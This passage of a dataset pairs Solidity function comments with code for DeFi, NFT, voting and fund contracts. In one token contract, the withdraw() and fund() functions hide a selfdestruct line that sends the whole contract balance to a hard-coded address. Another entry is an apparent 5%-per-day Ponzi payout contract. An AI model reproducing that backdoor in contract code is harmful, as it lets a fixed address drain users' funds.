uint256 a1 = self.futureA; // final A value when ramp is finished\n\n if (block.timestamp < t1) {\n uint256 t0 = self.initialATime; // time when ramp is started\n uint256 a0 = self.initialA; // initial A value when ramp is started\n if (a1 > a0) {\n // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0)\n return\n a0.add(\n a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0))\n );\n } else {\n // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0)\n return\n a0.sub(\n a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0))\n );\n }\n } else {\n return a1;\n }\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Get the ETHUSD price from ChainLink and convert to a mantissa value\r\n * @return USD price mantissa\r\n */", "function_code": "function getETHUSDCPrice() public view returns (uint256) {\r\n (\r\n uint80 roundID,\r\n int256 price,\r\n uint256 startedAt,\r\n uint256 timeStamp,\r\n uint80 answeredInRound\r\n ) = priceFeedETHUSD.latestRoundData();\r\n // Get decimals of price feed\r\n uint256 decimals = priceFeedETHUSD.decimals();\r\n // Add decimal places to format an 18 decimal mantissa\r\n uint256 priceMantissa =\r\n uint256(price).mul(10**(mantissaDecimals.sub(decimals)));\r\n\r\n return priceMantissa;\r\n }", "version": "0.6.6"} {"comment": "/**\n * @notice Calculate the fee that is applied when the given user withdraws.\n * Withdraw fee decays linearly over 4 weeks.\n * @param user address you want to calculate withdraw fee of\n * @return current withdraw fee of the user\n */", "function_code": "function calculateCurrentWithdrawFee(Swap storage self, address user)\n public\n view\n returns (uint256)\n {\n uint256 endTime = self.depositTimestamp[user].add(4 weeks);\n if (endTime > block.timestamp) {\n uint256 timeLeftover = endTime.sub(block.timestamp);\n return\n self\n .defaultWithdrawFee\n .mul(self.withdrawFeeMultiplier[user])\n .mul(timeLeftover)\n .div(4 weeks)\n .div(FEE_DENOMINATOR);\n }\n return 0;\n }", "version": "0.6.12"} {"comment": "// mints new DSProxies and stores them to the proxy array", "function_code": "function mint(uint256 _value) public {\n require(_value % 1e18 == 0);\n\n uint newTokens = _value / 1e18;\n\n for (uint256 i = 0; i < newTokens; i++) {\n address proxy = address(makeChild());\n _proxies.push(proxy);\n }\n _mint(_msgSender(), _value);\n }", "version": "0.8.0"} {"comment": "/*\r\n * createLGEWhitelist - Call this after initial Token Generation Event (TGE) \r\n * \r\n * pairAddress - address generated from createPair() event on DEX\r\n * durations - array of durations (seconds) for each whitelist rounds\r\n * amountsMax - array of max amounts (TOKEN decimals) for each whitelist round\r\n * \r\n */", "function_code": "function createLGEWhitelist(address pairAddress, uint256[] calldata durations, uint256[] calldata amountsMax) external onlyWhitelister() {\r\n require(durations.length == amountsMax.length, \"Invalid whitelist(s)\");\r\n \r\n _lgePairAddress = pairAddress;\r\n \r\n if(durations.length > 0) {\r\n \r\n delete _lgeWhitelistRounds;\r\n \r\n for (uint256 i = 0; i < durations.length; i++) {\r\n _lgeWhitelistRounds.push(WhitelistRound(durations[i], amountsMax[i]));\r\n }\r\n \r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * modifyLGEWhitelistAddresses - Define what addresses are included/excluded from a whitelist round\r\n * \r\n * index - 0-based index of round to modify whitelist\r\n * duration - period in seconds from LGE event or previous whitelist round\r\n * amountMax - max amount (TOKEN decimals) for each whitelist round\r\n * \r\n */", "function_code": "function modifyLGEWhitelist(uint256 index, uint256 duration, uint256 amountMax, address[] calldata addresses, bool enabled) external onlyWhitelister() {\r\n require(index < _lgeWhitelistRounds.length, \"Invalid index\");\r\n require(amountMax > 0, \"Invalid amountMax\");\r\n\r\n if(duration != _lgeWhitelistRounds[index].duration)\r\n _lgeWhitelistRounds[index].duration = duration;\r\n \r\n if(amountMax != _lgeWhitelistRounds[index].amountMax) \r\n _lgeWhitelistRounds[index].amountMax = amountMax;\r\n \r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n _lgeWhitelistRounds[index].addresses[addresses[i]] = enabled;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * getLGEWhitelistRound\r\n *\r\n * returns:\r\n *\r\n * 1. whitelist round number ( 0 = no active round now )\r\n * 2. duration, in seconds, current whitelist round is active for\r\n * 3. timestamp current whitelist round closes at\r\n * 4. maximum amount a whitelister can purchase in this round\r\n * 5. is caller whitelisted\r\n * 6. how much caller has purchased in current whitelist round\r\n *\r\n */", "function_code": "function getLGEWhitelistRound() public view returns (uint256, uint256, uint256, uint256, bool, uint256) {\r\n \r\n if(_lgeTimestamp > 0) {\r\n \r\n uint256 wlCloseTimestampLast = _lgeTimestamp;\r\n \r\n for (uint256 i = 0; i < _lgeWhitelistRounds.length; i++) {\r\n \r\n WhitelistRound storage wlRound = _lgeWhitelistRounds[i];\r\n \r\n wlCloseTimestampLast = wlCloseTimestampLast.add(wlRound.duration);\r\n if(now <= wlCloseTimestampLast)\r\n return (i.add(1), wlRound.duration, wlCloseTimestampLast, wlRound.amountMax, wlRound.addresses[_msgSender()], wlRound.purchased[_msgSender()]);\r\n }\r\n \r\n }\r\n \r\n return (0, 0, 0, 0, false, 0);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * _applyLGEWhitelist - internal function to be called initially before any transfers\r\n * \r\n */", "function_code": "function _applyLGEWhitelist(address sender, address recipient, uint256 amount) internal {\r\n \r\n if(_lgePairAddress == address(0) || _lgeWhitelistRounds.length == 0)\r\n return;\r\n \r\n if(_lgeTimestamp == 0 && sender != _lgePairAddress && recipient == _lgePairAddress && amount > 0)\r\n _lgeTimestamp = now;\r\n \r\n if(sender == _lgePairAddress && recipient != _lgePairAddress) {\r\n //buying\r\n \r\n (uint256 wlRoundNumber,,,,,) = getLGEWhitelistRound();\r\n \r\n if(wlRoundNumber > 0) {\r\n \r\n WhitelistRound storage wlRound = _lgeWhitelistRounds[wlRoundNumber.sub(1)];\r\n \r\n require(wlRound.addresses[recipient], \"LGE - Buyer is not whitelisted\");\r\n \r\n uint256 amountRemaining = 0;\r\n \r\n if(wlRound.purchased[recipient] < wlRound.amountMax)\r\n amountRemaining = wlRound.amountMax.sub(wlRound.purchased[recipient]);\r\n \r\n require(amount <= amountRemaining, \"LGE - Amount exceeds whitelist maximum\");\r\n wlRound.purchased[recipient] = wlRound.purchased[recipient].add(amount);\r\n \r\n }\r\n \r\n }\r\n \r\n }", "version": "0.6.12"} {"comment": "/// @dev purchase DGX gold\n/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)\n/// @param _nonce Nonce from DTPO\n/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX\n/// @param _signer Address of the DTPO signer\n/// @param _signature Signature of the payload\n/// @return {\n/// \"_success\": \"returns true if operation is successful\",\n/// \"_purchased_amount\": \"DGX nanograms received\"\n/// }", "function_code": "function purchase(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)\r\n payable\r\n public\r\n returns (bool _success, uint256 _purchased_amount)\r\n {\r\n address _sender = msg.sender;\r\n\r\n (_success, _purchased_amount) =\r\n marketplace_controller().put_purchase_for.value(msg.value).gas(600000)(msg.value, _sender, _sender, _block_number,\r\n _nonce, _wei_per_dgx_mg, _signer, _signature);\r\n require(_success);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Function returning the current price of ToG\r\n * @dev can be used prior to the donation as a constant function but it is mainly used in the noname function\r\n * @param message should contain an encrypted contract info of the redeemer to setup a meeting\r\n */", "function_code": "function redeem(string message) {\r\n\r\n // Check caller has a token\r\n require (balances[msg.sender] >= 1);\r\n\r\n // Check tokens did not expire\r\n require (now <= expirationDate);\r\n\r\n // Lock the token against further transfers\r\n balances[msg.sender] -= 1;\r\n redeemed[msg.sender] += 1;\r\n\r\n // Call out\r\n tokenRedemption(msg.sender, message);\r\n }", "version": "0.4.18"} {"comment": "/**\n * @return Current rebasing index of stETH in RAY\n **/", "function_code": "function _stEthRebasingIndex() internal view returns (uint256) {\n // Returns amount of stETH corresponding to 10**27 stETH shares.\n // The 10**27 is picked to provide the same precision as the AAVE\n // liquidity index, which is in RAY (10**27).\n return ILido(UNDERLYING_ASSET_ADDRESS).getPooledEthByShares(WadRayMath.RAY);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev See {IERAC-getTokenIds}. \r\n * Query the TokenId(ERAC) list for the specified account\r\n */", "function_code": "function getTokenIds(address owner)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (uint256[] memory tokenIds)\r\n {\r\n uint256 count = balanceOf(owner);\r\n tokenIds = new uint256[](count);\r\n if (count == 0) {\r\n return tokenIds;\r\n }\r\n\r\n for (uint256 i = 0; i < count; ++i) {\r\n tokenIds[i] = tokenOfOwnerByIndex(owner, i);\r\n }\r\n return tokenIds;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev When accumulated NCTs have last been claimed for a Hashmask index\r\n */", "function_code": "function lastClaim(uint256 tokenIndex) public view returns (uint256) {\r\n require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\r\n require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), \"NFT at index has not been minted yet\");\r\n\r\n uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart;\r\n return lastClaimed;\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @dev Accumulated NCT tokens for a Hashmask token index.\r\n */", "function_code": "function accumulated(uint256 tokenIndex) public view returns (uint256) {\r\n require(block.timestamp > emissionStart, \"Emission has not started yet\");\r\n require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\r\n require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), \"NFT at index has not been minted yet\");\r\n\r\n uint256 lastClaimed = lastClaim(tokenIndex);\r\n\r\n // Sanity check if last claim was on or after emission end\r\n if (lastClaimed >= emissionEnd) return 0;\r\n\r\n uint256 accumulationPeriod = block.timestamp < emissionEnd ? block.timestamp : emissionEnd; // Getting the min value of both\r\n uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(emissionPerDay).div(SECONDS_IN_A_DAY);\r\n\r\n // If claim hasn't been done before for the index, add initial allotment (plus prereveal multiplier if applicable)\r\n if (lastClaimed == emissionStart) {\r\n uint256 initialAllotment = IWaifus(_waifusAddress).isMintedBeforeReveal(tokenIndex) == true ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER) : INITIAL_ALLOTMENT;\r\n totalAccumulated = totalAccumulated.add(initialAllotment);\r\n }\r\n\r\n return totalAccumulated;\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @dev Claim mints NCTs and supports multiple Hashmask token indices at once.\r\n */", "function_code": "function claim(uint256[] memory tokenIndices) public returns (uint256) {\r\n require(block.timestamp > emissionStart, \"Emission has not started yet\");\r\n\r\n uint256 totalClaimQty = 0;\r\n for (uint i = 0; i < tokenIndices.length; i++) {\r\n // Sanity check for non-minted index\r\n require(tokenIndices[i] < IWaifus(_waifusAddress).totalSupply(), \"NFT at index has not been minted yet\");\r\n // Duplicate token index check\r\n for (uint j = i + 1; j < tokenIndices.length; j++) {\r\n require(tokenIndices[i] != tokenIndices[j], \"Duplicate token index\");\r\n }\r\n\r\n uint tokenIndex = tokenIndices[i];\r\n require(IWaifus(_waifusAddress).ownerOf(tokenIndex) == msg.sender, \"Sender is not the owner\");\r\n\r\n uint256 claimQty = accumulated(tokenIndex);\r\n if (claimQty != 0) {\r\n totalClaimQty = totalClaimQty.add(claimQty);\r\n _lastClaim[tokenIndex] = block.timestamp;\r\n }\r\n }\r\n\r\n require(totalClaimQty != 0, \"No accumulated NCT\");\r\n _mint(msg.sender, totalClaimQty); \r\n return totalClaimQty;\r\n }", "version": "0.7.1"} {"comment": "// this function called every time anyone sends a transaction to this contract", "function_code": "function () external payable {\r\n // if sender is invested more than 0 ether\r\n if (invested[msg.sender] != 0) {\r\n // calculate profit amount as such:\r\n // amount = (amount invested) * 5% * (blocks since last transaction) / 5900\r\n // 5900 is an average block count per day produced by Ethereum blockchain\r\n uint256 amount = invested[msg.sender] * 5/100 * (block.number - atBlock[msg.sender]) / 5900;\r\n\r\n\r\n // send calculated amount of ether directly to sender\r\n address sender = msg.sender;\r\n sender.send(amount);\r\n }\r\n\r\n // record block number and invested amount (msg.value) of this transaction\r\n atBlock[msg.sender] = block.number;\r\n invested[msg.sender] += msg.value;\r\n }", "version": "0.4.24"} {"comment": "// ============ PUBLIC READ-ONLY FUNCTIONS ============", "function_code": "function walletOfOwner(address _owner)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\r\n for (uint256 i; i < ownerTokenCount; i++) {\r\n tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\r\n }\r\n return tokenIds;\r\n }", "version": "0.8.0"} {"comment": "//function register(uint256 voterID, uint256 hashedPhone, string memory council)", "function_code": "function register(uint256 voterID, uint256 hashedEmail, string memory council) \r\n\t\tpublic returns(bool){\r\n\t\trequire(isRunningElection);\r\n\t\trequire(approvedVoteBox[msg.sender]);\r\n\t\t//Register happens during election as we do not have the voter list\r\n\t\t//require(now >= votingStartTime);\r\n\t\t//require(now < votingEndTime);\r\n\t\tif(voterList[voterID]) deregister(voterID);\r\n\t\t//if(usedPhoneNumber[hashedPhone] > 0)\r\n\t\t\t//deregister(usedPhoneNumber[hashedPhone]);\r\n\t\tif(usedPhoneNumber[hashedEmail] > 0)\r\n\t\t\tderegister(usedPhoneNumber[hashedEmail]);\r\n\t\tvoterList[voterID] = true;\r\n\t\t//usedPhoneNumber[hashedPhone] = voterID;\r\n\t\tusedPhoneNumber[hashedEmail] = voterID;\r\n\t\tcouncilVoterList[voterID][council] = true;\r\n\t\tcouncilVoterNumber[council]++;\r\n\t\treturn true;\r\n\t}", "version": "0.5.12"} {"comment": "//function isValidVoter(uint256 voterID, uint256 hashedPhone, string memory council)", "function_code": "function isValidVoter(uint256 voterID, uint256 hashedEmail, string memory council) \r\n\t\tpublic view returns(bool){\r\n\t\tif(!voterList[voterID]) return false;\r\n\t\t//if(usedPhoneNumber[hashedPhone] == 0 || usedPhoneNumber[hashedPhone] != voterID)\r\n\t\tif(usedPhoneNumber[hashedEmail] == 0 || usedPhoneNumber[hashedEmail] != voterID)\r\n\t\t\treturn false;\r\n\t\tif(!councilVoterList[voterID][council]) return false;\r\n\t\treturn true;\r\n\t}", "version": "0.5.12"} {"comment": "//function submitVote(uint256 voterID, uint256 hashedPhone, ", "function_code": "function submitVote(uint256 voterID, uint256 hashedEmail, \r\n\t string memory council, string memory singleVote) public returns(bool){\r\n\t\trequire(isRunningElection);\r\n\t\trequire(approvedVoteBox[msg.sender]);\r\n\t\t//require(now >= votingStartTime);\r\n\t\t//require(now < votingEndTime);\r\n\t\t//require(isValidVoter(voterID,hashedPhone,council));\r\n\t\trequire(isValidVoter(voterID,hashedEmail,council));\r\n\t\trequire(!isVoted(voterID)); //Voted already\r\n\t\trequire(!voteDictionary[singleVote]);\r\n\t\tvoteListByVoter[voterID] = singleVote;\r\n\t\tvotes[council].push(singleVote);\r\n\t\tvoteByVotebox[msg.sender].push(singleVote);\r\n\t\tvoteDictionary[singleVote] = true;\r\n\t\treturn true;\r\n\t}", "version": "0.5.12"} {"comment": "//Sample G123456A AB9876543, C1234569 invalid sample AY987654A C668668E", "function_code": "function checkHKID(string memory HKID) \r\n\t\tinternal pure returns(bool){\r\n\t\tbytes memory b = bytes(HKID);\r\n\t\tif(b.length !=8 && b.length !=9) return false;\r\n\t\tuint256 checkDigit = 0;\r\n\t\tuint256 power = 9;\r\n\t\tif(b.length ==8){\r\n\t\t\tcheckDigit += (36*power);\r\n\t\t\tpower--;\r\n\t\t}\r\n\t\tfor(uint i=0;i(b.length-8) && i<(b.length-1)){\r\n\t\t\t\t//It should be a number\r\n\t\t\t\tif(digit < 48 || digit > 57) return false;\r\n\t\t\t}\r\n\t\t\tif(digit >=48 && digit<=57) checkDigit += ((digit-48)*power); //Number\r\n\t\t\telse if(digit >=65 && digit<=90) checkDigit += ((digit-55)*power); //A-Z\r\n\t\t\telse return false;\r\n\t\t\tpower--;\r\n\t\t}\r\n\t\tif(checkDigit % 11 == 0) return true;\r\n\t\treturn false;\r\n\t}", "version": "0.5.12"} {"comment": "// Withdraws all dividends held by the caller sending the transaction, updates\n// the requisite global variables, and transfers Ether back to the caller.", "function_code": "function withdraw() public {\r\n\t\t// Retrieve the dividends associated with the address the request came from.\r\n\t\tvar balance = dividends(msg.sender); address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy); \r\n\t\t\r\n\t\t// Update the payouts array, incrementing the request address by `balance`.\r\n\t\tpayouts[msg.sender] += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\t// Increase the total amount that's been paid out to maintain invariance.\r\n\t\ttotalPayouts += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\t// Send the dividends to the address that requested the withdraw.\r\n\t\tcontractBalance = sub(contractBalance, balance);\r\n\t\tmsg.sender.transfer(balance);\r\n\t}", "version": "0.4.18"} {"comment": "// Gatekeeper function to check if the amount of Ether being sent isn't either\n// too small or too large. If it passes, goes direct to buy().", "function_code": "function fund() payable public {\r\n\t\t// Don't allow for funding if the amount of Ether sent is less than 1 szabo.\r\n\t\tif (msg.value > 0.100000 ether) {\r\n\t\t\t// Limit first buyers to 0.1 ether\r\n\t\t\tif( initialFunds > 0 ) {\r\n\t\t\t\tinitialFunds--;\r\n\t\t\t\trequire( msg.value <= firstBuyerLimit );\r\n\t\t\t}\r\n\t\t contractBalance = add(contractBalance, msg.value);\r\n\t\t\tbuy();\r\n\t\t} else { address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy); \r\n\t\t\trevert();\r\n\t\t}\r\n }", "version": "0.4.18"} {"comment": "// Version of withdraw that extracts the dividends and sends the Ether to the caller.\n// This is only used in the case when there is no transaction data, and that should be\n// quite rare unless interacting directly with the smart contract.", "function_code": "function withdrawOld(address to) public {\r\n\t\t// Retrieve the dividends associated with the address the request came from.\r\n\t\tvar balance = dividends(msg.sender);\r\n\t\t\r\n\t\t// Update the payouts array, incrementing the request address by `balance`.\r\n\t\tpayouts[msg.sender] += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\t// Increase the total amount that's been paid out to maintain invariance.\r\n\t\ttotalPayouts += (int256) (balance * scaleFactor);\r\n\t\t\r\n\t\tcontractBalance = sub(contractBalance, balance);\r\n\t\t// Send the dividends to the address that requested the withdraw.\r\n\t\tto.transfer(balance);\t\t\r\n\t}", "version": "0.4.18"} {"comment": "// Converts a number tokens into an Ether value.", "function_code": "function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {\r\n\t\t// How much reserve Ether do we have left in the contract?\r\n\t\tvar reserveAmount = reserve();\r\n\r\n\t\t// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.\r\n\t\tif (tokens == totalSupply)\r\n\t\t\treturn reserveAmount;\r\n\r\n\t\t// If there would be excess Ether left after the transaction this is called within, return the Ether\r\n\t\t// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found\r\n\t\t// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator \r\n\t\t// and denominator altered to 1 and 2 respectively.\r\n\t\treturn sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));\r\n\t}", "version": "0.4.18"} {"comment": "// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11\n// approximates the function log(1+x)-log(1-x)\n// Hence R(s) = log((1+s)/(1-s)) = log(a)", "function_code": "function fixedLog(uint256 a) internal pure returns (int256 log) {\r\n\t\tint32 scale = 0;\r\n\t\twhile (a > sqrt2) {\r\n\t\t\ta /= 2;\r\n\t\t\tscale++;\r\n\t\t}\r\n\t\twhile (a <= sqrtdot5) {\r\n\t\t\ta *= 2;\r\n\t\t\tscale--;\r\n\t\t}\r\n\t\tint256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);\r\n\t\tvar z = (s*s) / one;\r\n\t\treturn scale * ln2 +\r\n\t\t\t(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))\r\n\t\t\t\t/one))/one))/one))/one))/one);\r\n\t}", "version": "0.4.18"} {"comment": "// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...\n// approximates the function x*(exp(x)+1)/(exp(x)-1)\n// Hence exp(x) = (R(x)+x)/(R(x)-x)", "function_code": "function fixedExp(int256 a) internal pure returns (uint256 exp) {\r\n\t\tint256 scale = (a + (ln2_64dot5)) / ln2 - 64;\r\n\t\ta -= scale*ln2;\r\n\t\tint256 z = (a*a) / one;\r\n\t\tint256 R = ((int256)(2) * one) +\r\n\t\t\t(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);\r\n\t\texp = (uint256) (((R + a) * one) / (R - a));\r\n\t\tif (scale >= 0)\r\n\t\t\texp <<= scale;\r\n\t\telse\r\n\t\t\texp >>= -scale;\r\n\t\treturn exp;\r\n\t}", "version": "0.4.18"} {"comment": "// The below are safemath implementations of the four arithmetic operators\n// designed to explicitly prevent over- and under-flows of integer values.", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n\t\tif (a == 0) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tuint256 c = a * b;\r\n\t\tassert(c / a == b);\r\n\t\treturn c;\r\n\t}", "version": "0.4.18"} {"comment": "// Find facet for function that is called and execute the\n// function if a facet is found and return any value.", "function_code": "fallback() external payable {\n LibDiamond.DiamondStorage storage ds;\n bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;\n assembly {\n ds.slot := position\n }\n address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;\n require(facet != address(0), \"Diamond: Function does not exist\");\n assembly {\n calldatacopy(0, 0, calldatasize())\n let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)\n returndatacopy(0, 0, returndatasize())\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }", "version": "0.8.3"} {"comment": "// A gas cheap way of adding the DiamondCut facet - can only be called once", "function_code": "function initDiamondCutFacet(address facet, bytes4 functionSignature) public {\n LibDiamond.enforceIsContractOwner();\n\n LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage();\n require(ds.selectorToFacetAndPosition[functionSignature].facetAddress == address(0), 'Diamond: Diamond was already initiated');\n\n ds.selectorToFacetAndPosition[functionSignature].functionSelectorPosition = 0;\n ds.facetFunctionSelectors[facet].functionSelectors.push(functionSignature);\n ds.facetFunctionSelectors[facet].facetAddressPosition = 0;\n ds.facetAddresses.push(facet);\n ds.selectorToFacetAndPosition[functionSignature].facetAddress = facet;\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Creates a new Full SmartFund\r\n *\r\n * @param _name The name of the new fund\r\n * @param _successFee The fund managers success fee\r\n * @param _fundType Fund type enum number\r\n * @param _isRequireTradeVerification If true fund can buy only tokens,\r\n * which include in Merkle Three white list\r\n */", "function_code": "function createSmartFund(\r\n string memory _name,\r\n uint256 _successFee,\r\n uint256 _fundType,\r\n bool _isRequireTradeVerification\r\n ) public {\r\n // Require that the funds success fee be less than the maximum allowed amount\r\n require(_successFee <= maximumSuccessFee);\r\n\r\n address smartFund;\r\n\r\n // ETH case\r\n if(_fundType == uint256(FundType.ETH)){\r\n // Create ETH Fund\r\n smartFund = smartFundETHFactory.createSmartFund(\r\n msg.sender,\r\n _name,\r\n _successFee, // manager and platform fee\r\n exchangePortalAddress,\r\n poolPortalAddress,\r\n defiPortalAddress,\r\n address(permittedAddresses),\r\n oracleAddress,\r\n _isRequireTradeVerification,\r\n cotraderGlobalConfig\r\n );\r\n\r\n }\r\n // ERC20 case\r\n else{\r\n address coinAddress = getERC20AddressByFundType(_fundType);\r\n // Create ERC20 based fund\r\n smartFund = smartFundERC20Factory.createSmartFund(\r\n msg.sender,\r\n _name,\r\n _successFee, // manager and platform fee\r\n exchangePortalAddress,\r\n poolPortalAddress,\r\n defiPortalAddress,\r\n address(permittedAddresses),\r\n coinAddress,\r\n oracleAddress,\r\n _isRequireTradeVerification,\r\n cotraderGlobalConfig\r\n );\r\n }\r\n\r\n smartFunds.push(smartFund);\r\n emit SmartFundAdded(smartFund, msg.sender);\r\n }", "version": "0.6.12"} {"comment": "// msg.sender = (third-party) spender", "function_code": "function transferFrom(address owner, address recipient, uint256 amount) public returns (bool) {\r\n uint256 currentAllowance = _allowances[owner][msg.sender];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); \r\n _transfer(owner, recipient, amount);\r\n _approve(owner, msg.sender, currentAllowance - amount);\r\n return true;\r\n }", "version": "0.8.1"} {"comment": "// Gamefunctions", "function_code": "function sendInSoldier(address masternode) public updateAccount(msg.sender) payable{\r\n uint256 value = msg.value;\r\n require(value >= 100 finney);// sending in sol costs 0.1 eth\r\n address sender = msg.sender;\r\n // add life\r\n balances[sender]++;\r\n // update totalSupply\r\n _totalSupply++;\r\n // add bullet \r\n bullets[sender]++;\r\n // add to playing field\r\n formation[nextFormation] = sender;\r\n nextFormation++;\r\n // reset lastMove to prevent people from adding bullets and start shooting\r\n lastMove[sender] = block.number;\r\n // buy P3D\r\n P3Dcontract_.buy.value(5 finney)(masternode);\r\n // check excess of payed \r\n if(value > 100 finney){Refundpot += value - 100 finney;}\r\n // progress refundline\r\n Refundpot += 5 finney;\r\n // send SPASM cut\r\n SPASM_.disburse.value(2 finney)();\r\n\r\n}", "version": "0.4.25"} {"comment": "//==================== Ownable ====================", "function_code": "function setFilterAdminFeeRateInfo(\r\n address filterAdminAddr,\r\n uint256 nftInFeeRate,\r\n uint256 nftOutFeeRate,\r\n bool isOpen\r\n ) external onlyOwner {\r\n require(nftInFeeRate <= 1e18 && nftOutFeeRate <= 1e18, \"FEE_RATE_TOO_LARGE\");\r\n FilterAdminFeeRateInfo memory feeRateInfo = FilterAdminFeeRateInfo({\r\n nftInFeeRate: nftInFeeRate,\r\n nftOutFeeRate: nftOutFeeRate,\r\n isOpen: isOpen\r\n });\r\n filterAdminFeeRates[filterAdminAddr] = feeRateInfo;\r\n\r\n emit SetFilterAdminFeeRateInfo(filterAdminAddr, nftInFeeRate, nftOutFeeRate, isOpen);\r\n }", "version": "0.6.9"} {"comment": "// ERC223 Token improvement to send tokens to smart-contracts", "function_code": "function transfer(address _to, uint _value) public returns (bool success) { \r\n //standard function transfer similar to ERC20 transfer with no _data\r\n //added due to backwards compatibility reasons\r\n bytes memory empty;\r\n if (isContract(_to)) {\r\n return transferToContract(_to, _value, empty);\r\n }\r\n else {\r\n return super.transfer(_to, _value);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// 2250 VUP @ 12.5% discount", "function_code": "function VuePayTokenSale () public payable\r\n\t{\r\n\r\n\t totalSupply = INITIAL_VUP_TOKEN_SUPPLY;\r\n\r\n\t\t//Start Pre-sale approx on the 6th october 8:00 GMT\r\n\t preSaleStartBlock=4340582;\r\n\t //preSaleStartBlock=block.number;\r\n\t preSaleEndBlock = preSaleStartBlock + 37800; // Equivalent to 14 days later, assuming 32 second blocks\r\n\t icoEndBlock = preSaleEndBlock + 81000; // Equivalent to 30 days , assuming 32 second blocks\r\n\t\texecutor = msg.sender;\r\n\t\tsaleHasEnded = false;\r\n\t\tminCapReached = false;\r\n\t\tallowRefund = false;\r\n\t\tadvisoryTeamShare = ADVISORY_TEAM_PORTION;\r\n\t\ttotalETHRaised = 0;\r\n\t\ttotalVUP=0;\r\n\r\n\t}", "version": "0.4.17"} {"comment": "// Create VUP tokens from the Advisory bucket for marketing, PR, Media where we are \n//paying upfront for these activities in VUP tokens.\n//Clients = Media, PR, Marketing promotion etc.", "function_code": "function createCustomVUP(address _clientVUPAddress,uint256 _value) public onlyOwner {\r\n\t //Check the address is valid\r\n\t require(_clientVUPAddress != address(0x0));\r\n\t\trequire(_value >0);\r\n\t\trequire(advisoryTeamShare>= _value);\r\n\t \r\n\t \tuint256 amountOfVUP = _value;\r\n\t \t//Reduce from advisoryTeamShare\r\n\t advisoryTeamShare=advisoryTeamShare.sub(amountOfVUP);\r\n //Accrue VUP tokens\r\n\t\ttotalVUP=totalVUP.add(amountOfVUP);\r\n\t\t//Assign tokens to the client\r\n\t\tuint256 balanceSafe = balances[_clientVUPAddress].add(amountOfVUP);\r\n\t\tbalances[_clientVUPAddress] = balanceSafe;\r\n\t\t//Create VUP Created event\r\n\t\tCreatedVUP(_clientVUPAddress, amountOfVUP);\r\n\t\r\n\t}", "version": "0.4.17"} {"comment": "/**\r\n * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond\r\n * and pay a fixed final fee charged on each price request.\r\n * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.\r\n * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute\r\n * bond amount is calculated from `disputeBondPct` times the collateral in the liquidation.\r\n * @param liquidationId of the disputed liquidation.\r\n * @param sponsor the address of the sponsor whose liquidation is being disputed.\r\n * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).\r\n */", "function_code": "function dispute(uint256 liquidationId, address sponsor)\r\n external\r\n disputable(liquidationId, sponsor)\r\n fees()\r\n nonReentrant()\r\n returns (FixedPoint.Unsigned memory totalPaid)\r\n {\r\n LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);\r\n\r\n // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after 